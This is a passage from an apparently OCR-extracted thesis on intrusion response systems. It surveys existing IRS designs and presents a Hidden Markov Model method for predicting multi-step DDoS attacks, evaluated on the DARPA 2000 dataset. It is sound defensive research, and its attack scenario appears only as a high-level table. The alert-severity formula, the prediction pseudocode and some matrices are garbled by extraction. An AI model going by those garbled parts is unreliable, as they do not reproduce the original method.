or attack graph [50} 51, 52] or by general model based on attack metrics [8] 24) [34].
The type of IDS that works based on tracers [1] is capable of improving its analysis

results by adding a "system state” feature [53]. A system state database provides a
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view of the state of each host, including CPU usage, memory usage, disk space, and
a resource graph showing the number of running processes, the number of running
threads, memory maps, file descriptors, etc. In fact, without knowledge of the state
of the system, a real and accurate online risk assessment is impossible. So, an online

response system that supports the system state would be a very novel model.

2.1.7 Response deactivation

The need to deactivate a response action is not recognized in the majority of existing
automated IRS. The importance of this need was first suggested in [7]. These authors believe
that most responses are temporary actions which have an intrinsic cost or induce side effects
on the monitored system, or both. The question is how and when to deactivate the response.
The deactivation of policy-based responses is not a trivial task. An efficient solution proposed
in [7] is to specify, two associated event-based contexts for each response context : Start
(response context), and End (response context). The risk assessment component can also help
us decide when a countermeasure has to be deactivated. In [7], countermeasures are classified
into one of two categories, in terms of their lifetime : 1) One-shot countermeasures, which
have an effective lifetime that is negligible. When a response in this category is launched,
it is automatically deactivated ; and 2) Sustainable countermeasures, which remain active to

deal with future threats after a response in this category has been applied.

2.1.8 Attack path

The majority of existing automated IRS apply responses on the attacked machine, or the
intruder machine if it is accessible. By extracting the "attack path”, we can identify appro-
priate locations, those with the lowest penalty cost, for applying them. Moreover, responses
can be assigned to calculate the dynamic cost associated with the location type, as discussed
in the "Response cost model” Section. The numerous locations and the variety of responses
at each location will constitute a more effective framework for defending a system from at-
tack, as its behavior will be less predictable. An attack path consists of four points : 1) the
start point, which is the intruder machine ; 2) the firewall point, which includes firewalls and
routers ; 3) the midpoint, which includes all the intermediary machines that the intruder ex-
ploits (through vulnerabilities) to compromise the target host; and 4) the end point, which
is the intruders target machine. Although, research on the attack path has been carried out
and some ideas as to its usefulness have been formulated [54, 55 [56], it has rarely been

implemented in an IDS or IRS.
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2.2 Classification of existing models

In this section we discuss recent IRS and provide a summary of all the proposed IRS of
interest in Table which presents their detailed characteristics as is given in [2].
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Curtis et al. [30 61, 62] propose a complex dynamic mapping based on an agent archi-
tecture (AAIRS). In AAIRS, multiple IDS monitor a host and generate alarms. The alarms
are first processed by the Master Analysis agent. This agent indicates the confidence level of
the attack and passes it on to an Analysis agent, which then generates a response plan based
on degree of suspicion, attack time, attacker type, attack type, attack implications, response
goal, and policy constraints.

Lee et al. [23] propose a cost-sensitive model based on three factors : 1) operational cost,
which refers to the cost of processing the stream of events by IDS ; 2) damage cost, which refers
to the amount of damage to a resource caused by an attacker when the IDS is ineffective;
and 3) response cost, which is the cost of applying a response when an attack is detected.
The authors focus on the DARPA 1998 dataset, which is based on network connections. The
resources that are being attacked in this dataset are network services and applications on
some hosts. Damage and response costs have been statically defined based on four categories
(ROOT, R2L, DoS, and PROBE ).

Toth and Kruegel [33] present a network model that takes into account relationships
between users and resources, since users perform their activities by utilizing the available
resources. The goal of a response model is to keep the system in as high a state of usability
as possible. Each response alternative (which node to isolate) is inserted temporarily into the
network model and a calculation is performed to determine which response has the lowest
negative impact on services. In this model, every service has a static cost, and there is only
the "block IP” response to evaluate as a way to repel an attack. When the IDS detects
an incoming attack, an algorithm attempts to find the firewall/gateway that can effectively
minimize the penalty cost of the response action.

Tanachaiwiwat et al. [67] propose a cost-sensitive method. Although they claim that their
method is adaptive, they have, in fact, implemented a non adaptive mechanism. They point
out that verifying the effectiveness of a response is quite expensive. They check, IDS efficiency,
alarm frequency (per week), and damage cost, in order to select the best strategy. The alarm
frequency reveals the number of alarms triggered per attack, and damage cost assesses the
amount of damage that could be caused by the attacker. An appropriate list of response is
available in the proposed model.

Balepin et al. [51] propose two different ways to arrange resources : in a resource type
hierarchy, or on a system map. They have adopted a dynamic way to add new nodes for
every type of alert that is raised by the IDS that did not already exist on the map. Actually,
every node is representative of a system object, such as a file, a running process, a socket,
etc. Also, each node has a list of response actions that depend on the type of node, and there

is a mechanism to assign a cost to each node.
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Foo et al. [68] present a graph-based approach, called ADEPTS. The responses for the
affected nodes are based on parameters such as confidence level of attack, previous measu-
rements of responses in similar cases, etc. Thus, ADEPTS uses a feedback mechanism to
estimate the success or failure of an applied response. This model is non adaptive, because
it does not observe or analyze the behaviors of the deployed responses.

Papadaki and Furnell [69] proposed a cost-sensitive response system that assesses the sta-
tic and dynamic contexts of the attack. A database for analyzing the static context is needed
to manage important characteristics of an attack, such as targets, applications, vulnerabi-
lities, and so on. In terms of evaluating the dynamic context of an attack, there are some
interesting ideas embodied in the proposed model. The two main features of this model are :
1) the ability to easily propose different orders of responses for different attack scenarios;
and 2) the ability to adapt decisions in response to changes in the environment. To evaluate
the characteristics of each response action, they have proposed the following parameters :
counter-effects, stopping power, transparency, efficiency, and confidence level.

In [29], Stakhanova et al. proposed a cost-sensitive preemptive IRS. This model focuses
on detecting anomalous behavior in software systems. It monitors system behaviors in terms
of system calls, and has two levels of classification mechanism to detect intrusion. In the first
detection step, when both normal and abnormal patterns are available, the model attempts
to determine what kind of pattern is triggered when sequences of system calls are monito-
red. If the sequences do not match the normal or abnormal patterns, the system relies on
machine learning techniques to establish whether the system is normal or anomalous. These
authors have presented a response system that is automated, cost-sensitive, preemptive, and
adaptive. The response is triggered before the attack completes. There is a mapping between
system resources, response actions, and intrusion patterns which has to be defined in advance.
Whenever a sequence of system calls matches a prefix in an abnormal graph, the response
algorithm decides whether to repel the attack or not, based on a confidence level threshold.
Multiple candidate responses may be available, and the one with the least negative effect
is selected based on utility theory. The effectiveness of each applied response is measured
for future response selection. If the selected response succeeds in neutralizing the attack, its
success factor is increased by one, otherwise it is decreased by one.

Haslum et al. [24] have proposed a real time intrusion prevention model. This model
is cost-sensitive, and the prediction module has been implemented, as well as a dynamic
risk assessment module based on a fuzzy model. Fuzzy logic is used here to capture and
automate the risk estimation process that human experts carry out using their experience
and judgment based on a number of dependent variables. In a fuzzy automatic inference

system, the knowledge of security and risk experts is embedded into the rules for creating the
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fuzzy model. They have also designed a prediction model based on the hidden Markov model
(HMM) to model the interaction between the intruder and the network [70]. That model can
detect the U2R, R2L, and PROBE categories of attacks, but not the DoS category.

Jahnke et al. [52] present a graph-based approach for modeling the effects of attacks
against resources and the effects of the response measures taken in reaction to those at-
tacks. The proposed approach extends the idea put forward in [33] by using general, directed
graphs with different kinds of dependencies between resources and by deriving quantitative
differences between system states from these graphs. If we assume that G1 and G2 are the
graphs we obtain before and after the reaction respectively, then calculation of the response’s
positive effect is the difference between the availability plotted in the two graphs : A(G2)-
A(G1). Like [33, B1]], these authors focus on the availability impacts. Strasburg et al. [27]
proposed a structured methodology for evaluating the cost of a response based on three pa-
rameters : operational cost (OC), impact of the response on the system (RSI), and response
goodness (RG). The response cost model is : RC = OC + RSI - RG. OC refers to the cost of
setting up and developing responses. The RSI quantifies the negative effect of the response
on the system resources. RG is defined based on two concepts : 1) the number of possible
intrusions that the response can potentially address; 2) the amount of resources that can be
protected by applying the response.

Mu and Li [28] presented a hierarchical task network planning model to repel intrusions, in
which every response has an associated static risk threshold that can be calculated by its ratio
of positive to negative effects. The permission to run each response is based on the current
risk index of the network. When the risk index is greater than the response static threshold,
the next response is allowed to run. They propose a response selection window, where the
most effective responses are selected to repel intrusions. There is no evaluation of responses
in this work, however, and it is unclear how the positive and negative effects of responses
have been calculated. In that framework, the communication component is responsible for
receiving alerts from multiple IDS. An alert filter, and verification and correlation components
have all been considered. Intrusion response planning is in place to find a sequence of actions
that achieve a response goal. These goals are the same as those in [30] : analyze the attack,
capture the attack, mask the attack, mazimize confidentiality, maximize integrity, recovery
gracefully, and sustain service. Each goal has its own sequence of responses. For example, if
the goal is to analyze an attack, the earlier responses in the sequence have to be weak, but
later responses have to be strong. In [34], the authors propose a D-S evidence theory to assess
risk.

Kanoun et al. [7] were the first to propose a risk-aware framework to activate and deacti-

vate response policies, which consists of an online model and its architecture. The likelihood
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of success of an ongoing threat or an actual attack, as well as the cumulative impacts of
the threat and the response, are all considered before activating/deactivating a strategic
response. The main contribution of the proposed model is to determine when a strategic
response should be deactivated and how. These authors believe that the deactivation phase
is as important as the activation phase.

Kheir et al. [50] propose a dependency graph to evaluate the confidentiality and integrity
impacts, as well as the availability impacts. The confidentiality and integrity criteria were
not considered in [33] 51} 52]. In [50], the impact propagation process proposed by Jahnke
et al. is extended by adding these impacts. Now, each resource in the dependency graph
is described with a 3D CIA vector, the values of which are subsequently updated, either
by active monitoring estimation or by extrapolation using the dependency graph. In the
proposed model, dependencies are classified as structural (inter-layer) dependencies, or as

functional (inter-layer) dependencies.

2.3 Conclusion

In the past decade, various very effective Intrusion Response Systems have been developed.
At the same time, we have seen impressive changes in the way attackers infect computers.
As a result, it is impossible to create a perfect IRS that repels the majority of attacks. As
mentioned in this paper, existing automated IRS suffer from weaknesses that prevent them
from neutralizing attacks. Significant research will be required to address all those weaknesses
and design a framework with a high level of capability. We have proposed a taxonomy of IRS
and discussed future research that could improve the current systems substantially, which
would in turn improve the intrusion response mechanism to enable it to accommodate more

intelligence for the decision making process.
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CHAPTER 3

Paper 1 : Real Time Intrusion Prediction based on Optimized Alerts with
Hidden Markov Model

ALIREZA SHAMELI-SENDI, MICHEL DAGENAIS, MASOUME JABBARIFAR, AND MARIO
COUTURE

3.1 Abstract

Cyber attacks and malicious activities are rapidly becoming a major threat to proper
secure organization. Many security tools may be installed in distributed systems and monitor
all events in a network. Security managers often have to process huge numbers of alerts per
day, produced by such tools. Intrusion prediction is an important technique to help response
systems reacting properly before the network is compromised. In this paper, we propose
a framework to predict multi-step attacks before they pose a serious security risk. Hidden
Markov Model (HMM) is used to extract the interactions between attackers and networks.
Since alerts correlation plays a critical role in prediction, a modulated alert severity through
correlation concept is used instead of just individual alerts and their severity. Modulated
severity generates prediction alarms for the most interesting steps of multi-step attacks and
improves the accuracy. Our experiments on the Lincoln Laboratory 2000 data set show that

our algorithm perfectly predicts multi-step attacks before they can compromise the network.

3.2 Introduction

Intrusion detection system (IDS) monitors network events for detecting malicious activi-
ties or any attempt to break into or compromise a system. IDSs often provide poor quality
alerts, which are insufficient to support the rapid identification of ongoing anomalies or pre-
dict the next goal or step of anomaly [43]. Also, poor quality alerts needlessly cause the
system to be declared unhealthy, possibly triggering high impact prevention responses. Thus,
designing an alert optimization component is needed [44]. There are two different approaches
for alerts correlation : 1) Alert Filtering approach : In the first, filtering, the idea is
selecting just true alerts from raw alerts that are generated by detection components. There
are many techniques like clustering, classification, and frequent-pattern mining to implement
filtering approach. 2) Alert Severity Modulating approach : In the second approach,
the idea is modulating the quality of alerts [40]. The Alert Filtering approach causes false
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negatives in prediction but prevents the application of high impact reactions to the network
by the response component. The Alert Severity Modulating approach insures that we have
better prediction and a better security model for the network.

Intrusion Response System (IRS), is the next level of security technology [11]. Its mis-
sion is running good strategies to prevent anomaly growth and returning a system to the
healthy mode. It provides security at all system levels, such as operating system kernel and
network data packets [2]. Although many IRSs have been proposed, designing good strategies
for effective response of anomalies has always been a concern. A trade-off between system
performance degradation and maximum security is needed [10]. According to the level or de-
gree of automation, intrusion response systems can be categorized as : notification systems,
manual response systems, and automated response systems [2, 28, 30]. Automated response
systems try to be fully automated using decision-making processes without human interven-
tion. The major problem in this approach is the possibility of executing an improper response
in case of problem. Automated response systems can be divided into : 1) Static model : maps
an alert to a predefined response. This model is easy to build but the major weakness is that
the response measures are predictable. 2) Dynamic model : responses are based on multiple
factors such as system state, attack metrics (frequency, severity, confidence, etc.) and net-
work policy. In other words, the response to an attack may not be the same depending for
instance on the targeted host. One drawback of this model is that it does not learn anything
from attack to attack, so the intelligence level remains the same until the next upgrade. 3)
Cost-sensitive : is an interesting technique that tries to attune intrusion damage and response
cost. To measure intrusion damage, a risk assessment component is needed. The big challenge
in cost-sensitive model is that the risk assessment must be online and cost factor (risk index)
has to be updated over time [23] 28 [30, [72].

In this context, our contributions include : (1) defining a framework for predicting so-
phisticated multi-step attacks and preventing them by running appropriate sets of responses,
using HMM for reducing training time and memory usage, (2) in contrast to previous models
that use Alert Filtering approach to correlate alerts, we have used a novel approach named
Alert Severity Modulating to predict the most interesting steps of multi-step attacks, and (3)
our framework can be applied in a real network to predict any kind of DDoS attacks

This paper is organized as follows : first, we will discuss related work and several existing
methods for prediction will be introduced. The proposed model is illustrated in Section [3.4] In
Section experimental results are presented. Conclusion and future work will be discussed
in Section [3.6l
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3.3 Related Work

A number of different approaches that predict multi-step attacks have been proposed.
Some researchers place the prediction algorithm in the detection component. For example,
Feng et al. [39] believe that existing solutions are only able to detect after an intrusion has
occurred, either partially or fully. Therefore, it is hard to block attacks in real time. They
have proposed a prediction function, based on Dynamic Bayesian Networks looking at system
calls, with IDS concepts for predicting the goals of intruders.

Other researchers have worked on prediction algorithms based on detection output. In
this method, detection components are distributed across a network and send alerts to the
prediction component. Of course, there are aggregation and correlation components, between
detection and prediction components, to reduce the number of false IDS alerts.

Yu and Frincke [40] proposed Hidden Colored Petri-Net (HCPN) to predict intruder’s next
goal. Previously, researchers used alert correlation to extract true alerts from alerts generated
by the detection component. This is the Alert Filtering approach to alert correlation. They
have taken a different approach. Because multi-step attacks actions are unknown but may
be partially detected and reported as alerts, the task of alert correlation is not to find good
alerts. All alerts can be useful in prediction. They proposed a method to improve the quality
of alerts for prediction. Our alert optimization component has the same features and differs
from the Alert Filtering approach.

Haslum et al [70] proposed a model based on HMM to predict the next step of an anomaly.
In this model, distributed system attacks are simulated in four steps. Based on observations
from all IDSs in the network, the system mode can be moved among states. Thus, each time,
prediction of the next goal can be estimated by the probability of each state. However, this
model needs to be tested in a real network.

For modeling the interactions between attackers and networks, our technique closely re-
lates to [70]. Their model is based on the output of alert aggregation that filters alerts and
selects just true alerts from raw alerts generated by detection components. Our approach uses
the concepts of modulating the severity of alerts, like [40]. We focus on the severity of alerts
and propose a novel algorithm to modulate alert severity by correlation of alerts that are
sent by distributed detection components. However, their model does not predict distributed
Denial of service (DDoS) attacks while ours can.

Another distinguishing feature that separates our model from previous models is that it
can be applied to predict multi-step attacks performed over a long period, and alerts optimi-
zation helps us to predict DDoS attacks before it makes a computer resource unavailable to

its intended users.
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3.4 Proposed Model

Figure illustrates the basic architecture of the proposed model. The following actions
would be performed in this architecture :

— Data Gathering : the data gathering component captures network traffic and com-
puter activity and extracts necessary information for the detection components

— Detection : the detection components try to detect malicious activities and send alerts
to the alerts optimization component

— Alerts Optimization : alerts optimization modulates the severity of alerts through
correlation to get better prediction

— Prediction : the prediction component will attempt to make a prediction of a possible
future problem based on the alert observation

— Response : according to the result of the prediction component and problem charac-
teristics, the response component can prepare an appropriate set of responses to run on
the network for preventing the problem growth and returning the system to the healthy
mode. To obtain the benefits of an automated response system, two major sections are

considered :

1. Organization : in the organization section, we try to select the best set of plans
(IP blocking, TCP Reset, dropping packets, delete files, killing process, run vi-
rus check, shutdown, applying patch, change all passwords, ...) [67] based on our
strategy (Confidentiality, Integrity, and Availability). Our strategy relies on the
evaluation of the positive effects of the responses based on their impact on the
confidentiality, integrity, and availability metrics. We also take into account the
negative impacts on the other resources in terms of availability. For example, after
running a response which blocks a specific subnet, a web server under attack is no

longer at risk, but the availability of the service has been decreased.

2. Execution : in the execution section, we have to run our sequence of responses
on the network for preventing the problem growth and returning the system to the
healthy mode. Before applying, we need to order the responses based on positive

effect and negative impact.

3.4.1 Alerts Optimization

Unfortunately, detection components generate huge numbers of alerts. Also, in distributed
systems, this problem is very complicated. As Figure [3.2] shows, the first idea that many
researchers have used is selecting true alerts from the raw alerts and then sending these

to the prediction component (Alert Filtering approach). It causes more false negatives in
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Figure 3.1 Architecture of the proposed model.

prediction and does not seem to produce good results in practice. The second idea that we
have used is Alert Severity Modulating approach that increases alerts severity exponentially
through correlation. By using correlation concepts among alerts, we have modulated the
alerts severity before sending these to the prediction component.

There are many methods to improve the quality of alerts. In this paper, we focus on
severity of alerts and propose a novel algorithm to modulate it by correlation of alerts that

are sent by distributed detection components. Our alerts optimization has two parts :

1. Correlation : Zhu and Ghorbani [43] have proposed a model to extract attack strate-

gies. In this technique, an Alert Correlation Matrix (ACM) is used to store correlation
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Figure 3.2 Comparison of Alert Filtering approach and Alert Severity Modulating approach.
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strengths of any two types of alerts. In this section, an ACM is defined. This matrix
has the correlation strength between two types of alert and is very important in attack
prediction. Indicating the correlation weights in ACM is difficult and needs knowledge
about all alerts, it must be obtained by training process or defined by a security expert.
Classification of alerts is useful when detection components generate numerous alerts.
However, classification reduces precision and causes more false negatives in prediction.
Figure shows the ACM. For example, w2 means that after the occurrence of

alerty, alerty has w 2) probability of occurring.

. Optimization : in this section, a function is used to increase the severity of alerts. If we
use the unmodified severity we get false negatives in prediction. Thus, we need a func-
tion to increase alert severity exponentially. This function begins with the unmodified

severity for each alert. We present Formula 1 to calculate each alert severity.

Alert.severity = Alert.severity x R
1.25 < K

1 < F <100

1< AN

(3.1)

— N is frequency of alert.

— F is alert effect. It is extracted from the ACM.

— A is acceptable number of alert per day and can be calculated based on Acceptable
Alert per Day (AAD) matrix.

— K is a constant parameter and can control prediction occurrence. A large K increases
the correlation effect. In next subsection, we will see how the alert severity directly

affects the prediction algorithm.
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Figure 3.3 Alert Correlation Matrix.
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3.4.2 Prediction Component

As we know, IDS or detection components usually generate a large number of alerts. Thus,
the output of IDS is a data stream. Stream data is temporally ordered, fast changing, poten-
tially infinite and massive. There is not enough time to store stream data and rescan the whole
data as static data [I8] 36] 37]. There are some techniques like clustering, classification, and
frequent-pattern mining for static data. Using these algorithms in streaming mode presents
many challenges. One challenge is scanning static data multiple times, which is impossible
in streaming mode. Also, the big challenge in streaming mode is that one frequent pattern
may not be frequent over time. The Hidden Markov Model (HMM) algorithm is one of the
best ways to tackle this weakness. HMM works well dealing with streaming inputs. HMM
is a statistical Markov Model with unobserved state. As another view, HMM is a simplest
model of Dynamic Bayesian Network. In HMM, the states are not visible but the output is
dependent on the states that are visible. It is fast and can be useful to assess risk and predict
future attacks in intrusion detection systems [46, [75].

In the following paragraphs, the elements of HMM are described. An HMM is characte-
rized by the following :

1. States : the system is assumed to be in one of the following states. The states used in
this paper are similar to the states used in [24] :
— Normal : indicating that system is working well and there is no malicious activity
or any attempt to break into the system
— Attempt : indicating that malicious activities are attempted against the system
— Progress : indicating that intrusion has been started and is now progressing
— Compromise : indicating that intrusion successfully compromised the system
We use N, A, P, and C to represent them, so S; = {s; = N,s5 = A,s3 = P, s, = C}.
In Figure , the relationship among states is shown.

2. Observations : O; = {O;, 05, O3, ..., O, } observations are real output from the system
being modeled. Observations cause the system model to move among states. In this case,
alerts from detection components are our observations. We consider the severity of alerts
as observation. Each alert has three priorities : low, medium, and high. However, we do
not use the real severity for observations. After receiving the real severity that has three
levels, we map it after alert optimization to the four priorities : low, medium, high, very
high. In Figure [3.2], you can see our model to map the real severity to the increased

severity using an exponential function.

3. State Transition Probability (A) : the state transition probability matrix describes

the probability of moving among states.
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4. Observation Transition Probability (®) : the observation transition probability

matrix describes the probability of moving among observations.

5. Initial State Distribution (II) : it describes the probability of states when our

framework starts.

We will now describe the prediction model in details. As seen in Figure [3.1] all detection
components send alerts to the alert optimization component. The alert optimization com-
ponent increases the alert severity using an exponential function. The increased severity of
alerts is sent to the prediction component as observation. For each observation, HMM moves
among states and the probability of being in each state will be updated. The computation
needed to update the state distribution is based on Equation 19 and 27 in [76] and algorithm
1 in [70]. Figure [3.5)shows the pseudo-code of intrusion prediction. First, a new alert severity
has to be calculated based on the alert information with alert severity function. Thus, N, F,
and A parameters are calculated by three functions that are indicated in lines 6, 7, and 8.
N is the frequency of alert that can be calculated by CalculateAlertFrequency function. The
Alert correlation matrix (ACM) is used to calculate the alert effect by the CalculateAlertEf-
fect function, as will be explained in the next section. A is the acceptable number of alerts
per day and can be calculated based on the Calculate AcceptableAlertFrequency function. Of
course, the Acceptable Alert per Day (AAD) matrix must be initialized before running the
algorithm. After identifying the alert severity, we will try to update the current state distribu-
tion. Obs_ix indicates the observation index. For the first observation index, some calculation
is needed, and for the next observation another calculation [70, [76]. Finally, the compromise
state status is very important for prediction. If it is over 95 percent, it indicates that the

distributed system will very likely be compromised in a near future.

Hidden Markov Model \

[ [

\ State = {Normal, Attempt, Progress, Compromise} /

Figure 3.4 Hidden Markov Model’s states for prediction.
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1. Algorithm IntrusionPredictonbyAlertSeverityModulation 26. a[Obs_ix,i]=nfi] *®[i,Obs_p]

2. Input: Obs_ix, Alert, ACM, AAD, \, ©, U 27. sum@ = sumd + a[Obs_ix,i]

3. Output: IntrusionProbability 28. end for

4. Begin 29. fori=1 to 4 do

5. # Calculate modulated alert severity through correlation 30. YIObs_ix,i] = a[Obs_ix,i] / suma
6. N = CalculateAlertFrequency(Alert) 31. end for

7. F = CalculateAlertEffecttACM, Alert) 32.  else

8. A = CalculateAcceptableAlertFrequency(AAD, Alert) 33. for i=1 to 4do

9. K= 200 34. for j=1 to 4 do

10. Fatia 35. sum = sum +y[Obs_ix-1,] *A[j,i]
11.  Alertseverity = Alert.severity * € 36. end for

12.  if (Alertseverity == 4) then 37. a[Obs_ix,i] = ®[i,0bs_p] * sum
13. Obs_p =4 #VH 38. sum@ = sumd@ + a[Obs_ix,i]

14.  elseif (Alertseverity > = 3) then 39. sum =0

15. Obs_p =3 #H 40. end for

16.  elseif (Alertseverity == 2) then 41. for i=1 to 4do

17. Obs p=2 #M 42, YIObs_ix,i] = a[Obs_ix,i] / suma
18,  else 43, end for

19. Obs_p =1 #L 44,  endif

20.  endif 45.  / predict intrusion probability

21.  # Update current state distribution 46. if (y[Obs_ix4] == 0.95) then

22, sum=0 47. IntrusionProbability = TRUE

23, suma =10 48.  endif

24.  if (Obs_ix = 1) then 49, return IntrusionProbability

25. for i=1 to 4do 50. End

Figure 3.5 Prediction Algorithm.

3.5 Experiment Results

3.5.1 Lincoln Laboratory Scenario (LLDDOS1.0)

The proposed prediction algorithm has been tested using the DARPA 2000 dataset [35].
It consists of two multi-step attack scenarios. We have used the first scenario to test our
model. This data set has a multi-step attack that tries to install distributed denial of service
(DDoS) software in any computer in the target network. This attack has 5 steps and takes
about three hours. Finally, three computers are compromised. Table shows the 5 steps
goal.

We have used the RealSecure IDS to generate an alert log file [77]. RealSecure produces 919
alerts by playing back the "Inside-tcpdump” of LLDDOS1.0. Table 3.7 shows that RealSecure
with these alerts can detect the steps. Unfortunately, the first step can not be detected by

RealSecure.

3.5.2 Model Parameters

Before starting our framework, we have to initialize some parameters :

— Alert optimization parameters : in this section two matrices must be initialized :
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Table 3.1 The Five Steps of the DARPA Attack Scenario

Step Name Time Goal

1 IP sweep 9 :45 to 09 :52  The attacker sends ICMP echo-requests in this sweep and listens for ICMP echo-replies to
determine which hosts are "up”

2 Sadmind Ping 10 :08 to 10 :18 The hosts discovered in the previous step are probed to determine which hosts are
running the "sadmind” remote administration tool. This tells the attacker which hosts might
be vulnerable to the exploit that he/she has

3 Break into 10 :33 to 10 :34 The attacker then tries to break into the hosts found to be running the sadmind service in
the previous step. Breakins via the sadmind vulnerability

4 Installation 10 :50 Installation of the trojan mstream DDoS software on three hosts

5 Launch 11 :27 Launching the DDoS

Table 3.2 The RealSecure Alerts Related to Each Step

Step Name Alerts
1 IP sweep No alert is generated for this step
2 Sadmind Ping Sadmind_ping
3 Break into Sadmind_Amslverify_Overflow, Admind
4 Installation Rsh, MStream_Zombie
5 Launch Stream_DOS

ACM and ADD. As you see in Table 3.3 RealSecure produces 19 types of alerts in
LLDOS1.0 and we have used these values for the AAD parameter. To initialize ACM,
we have used [43]. These correlation weights in ACM were obtained during the training
process and incrementally updated in this process with a formula that depends on the
number of times that these two types of alerts have been directly correlated. The effect
column shows each alert severity obtained by Formula 2. Alert severity used in this
formula is from [78] and is shown in Table 3.4, We have used normalized columns in

our algorithm.

19
F(Alert;) = Z Wi j) * Severity; (3.2)

j=1
HMM parameters : first, at the start of monitoring, IT = {1.0,0.0,0.0,0.0}. It means
that the system is in the normal state with 100% probability. Secondly, we have to
initialize the state transition probability. Finally, the observation probability matrix

has to be specified.
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Table 3.3 Acceptable Alert per Day (AAD) Matrix

1D Alert Name Acceptable Frequency
1 Sadmind_Ping 10
2 TelnetTerminaltype 1000
3 Email_Almail_Overflow 10
4 Email_Ehlo 1000000
5 FTP_User 10
6 FTP_Pass 10
7 FTP_Syst 10
8 HTTP_Java 1
9 HTTP_Shells 1
10 Admind 1
11 Sadmind_Amslverify_Overflow 1
12 Rsh 1
13 Mstream_Zombie 1
14 HTTP_Cisco 1
15 SSH_Detected 10
16 Email Debug 1
17 TelnetXdisplay 3
18 TelnetEnvAll 10
19 Stream_DoS 1

N A P C
N | 0999 0.001 0 0
A= A | 0.001 0.984 0.015 0 (3.3)
P 0 0.001 0.984 0.015
C 0 0 0.001 0.999

L M H VH
04 0.3 02 0.1
0.3 04 0.2 0.1 (3.4)
0.2 0.3 04 0.1
0.1 0.2 0.3 0.4

K
I
Qv ==

3.5.3 Results

Figure shows the total prediction for the full duration of the Lincoln Laboratory data
set with K= 3.5. As mentioned, our HMM is based on four states (Normal, Attempt, Progress,
and Compromise). In this diagram, you can see the four states status simultaneously when
the attacker tries to break into the hosts. Normal state shows online prediction of the network
being healthy in a near future. In this diagram we can see when a system is predicted not

healthy in a near future. Our system adjusts the state with attackers’ progress. When the
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attacker gets appropriate results in a multi-step attack, system moves from Normal state to
the Attempt state and so on. When the probability of Normal state is down, it means the
probability of other states are up.

As we have mentioned, this multi-step attack takes about three hours and has five steps.
You can see the approximate time periods of all steps conducted by the intruder (based
on RealSecure IDS output) : 2788-3211 sec. [4 :46 :23-4 :53 :26] (Step 2), 4377-4400 sec.
[5 :12 :52-5 :13 :15] (Step 3), 5355 sec. [5 :29 :10] (Step 4), and 7573 sec. [6 :06 :08] (Step
5). As mentioned in Table in the fourth step, attacker installs the trojan mstream DDoS
software on three hosts. Eventually, in step 5 the attacker launches the DDoS. Thus, our
prediction component has to send an alarm to the response component before step 4. Let us
see how our prediction algorithm works.

The alert optimization component sends an alert with Alert Severity Modulating approach
to the prediction component. Figure[3.7illustrates the output of alert optimization component
for the full duration of the Dataset. Thus, prediction component receives optimized alerts
and each state calculates its probability. At the start of monitoring, the system is in the
Normal state with 100% probability and other states are zero. The sum of all values at each
time must be 100%. Our prediction is based on the probability calculated in the Compromise
state. When the probability is over 95%, it means an intrusion is going to happen in the near
future. The first prediction was calculated at 4310 seconds, 67 seconds before the attacker
does all the work in third step. The second prediction was calculated at 5323 seconds. It
happened 32 seconds before the fourth step. The third prediction was calculated at 6101, 25
minutes before the fifth step. Thus, the administrator can manually apply a set of responses
to mitigate the attack or we can connect the prediction component to an automated intrusion
response system to do that automatically.

Also, Table [3.5] shows the total number of alerts that are generated by RealSecure IDS
until each prediction. The initial alert severity column illustrates the initial value related
to each alert. The optimized alert severity column shows how Formula 1 works in the alert
optimization component for each type of alert.

As we discussed before, alert optimization modulated alert severity over time with Formula
1. There is a constant parameter (K) in this formula for which we can evaluate the effect on
the prediction algorithm, as illustrated in Figure [3.8] In fact, K is the prediction controller.
As shown in Figure [3.8] there are a few predictions closely spaced in time. Because of this
close spacing, they are considered as a region. As seen in Figure 3.8 when K= 2.5 there are
two regions and with K= 3.5, there are three regions within a few minutes. In Figure [3.8|
we can see that with K= 3.5, a prediction happens before each of step 3, 4, and 5 and the
result is most interesting. For K= 2.5, two predictions happen, the first related to the third
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step and the second related to the fourth step.

If K is big, the prediction component is more sensitive and sends more alarms to the res-
ponse component. In this case, the response component can apply responses more frequently.
It means, there are more chances to repel attack if we could not stop the progress of attack.
We may still want to set K to a higher value to avoid missing an attack and to have more
time to evaluate the risk index and select more appropriately the level of response.

In the prediction view, we have two types of intrusion response systems : Reactive and
Proactive [2,38]. In the Reactive approach, all responses are delayed until the intrusion is
detected. Since the reactive responses are applied when an incident is detected, the system is
in an unhealthy state from before the detection of the malicious activity until the application
of the reactive responses. Sometimes, it is difficult to return the system to the healthy state.
This type of IRS is not useful for high security. For example, suppose the attacker was
successful in accessing a database, illegally reading critical information and after that the
IDS sends an alarm about a detected malicious activity. In this case, a reactive response is
not useful because the critical information has been disclosed. In summary, we have designed
a Proactive IRS that can predict different kinds of DDoS attacks often minutes before it
happens.

3.6 Conclusion

In this paper, we presented an architecture to predict intrusions and trigger good response
strategies. A novel alert correlation is used to decrease false negatives in prediction. Our
experimental results on the DARPA 2000 data set have shown that our model can perfectly
predict distributed denial of service attacks and has a potential to detect multi-step attacks
missed by the detection component. Several future research directions are worth investigating
to improve our model. First, we would like to study how to update the ACM based on
prediction analysis results. For example, the correlation strength between two types of alerts
can be updated by receiving hints from the prediction component. However, the ACM should
not be updated every time because the attacker could run impractical actions in the first step
of an attack, increase the correlation strength between two or more alerts and consequently
cause incorrect predictions.

Secondly, we want to add a risk assessment component in our model. Risk assessment is the
process of identifying and characterizing risk. The result of risk assessment is very important
to minimize the impact on system health when anomaly has been detected. Finally, we plan

to interface our system to live data center network data.
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Figure 3.6 Total prediction result and HMM states status for DARPA data set with K
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Figure 3.7 The output of alert optimization component for the full duration of the Dataset
with K= 3.5.
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CHAPTER 4

Paper 2 : ORCEF : Online Response Cost Evaluation Framework for IRS

ALIREZA SHAMELI-SENDI AND MICHEL DAGENAIS

4.1 Abstract

Response cost evaluation is a major part of the Intrusion Response System (IRS). Al-
though many automated IRSs have been proposed, most of them use statically evaluated
responses, avoiding the need for dynamic evaluation of response cost. However, by designing
a dynamic evaluation for the responses we can alleviate the drawbacks of the static model.
Furthermore, it will be more effective at defending a system from an attack as it will be less
predictable. A dynamic model offers the best response based on the current situation of the
network. Thus, the evaluation of the positive effects and negative impacts of the responses
must be computed online, at attack time, in a dynamic model. We evaluate the response cost
online with respect to the resources dependencies and the number of online users.

In this paper, we present a practical model with relevant factors for response cost eva-
luation. The proposed model is a platform that leads us to account for the user’s need in
terms of quality of services (QoS) and the dependencies of critical processes. Compared with
other response evaluation models, the proposed model consists of not only a novel online
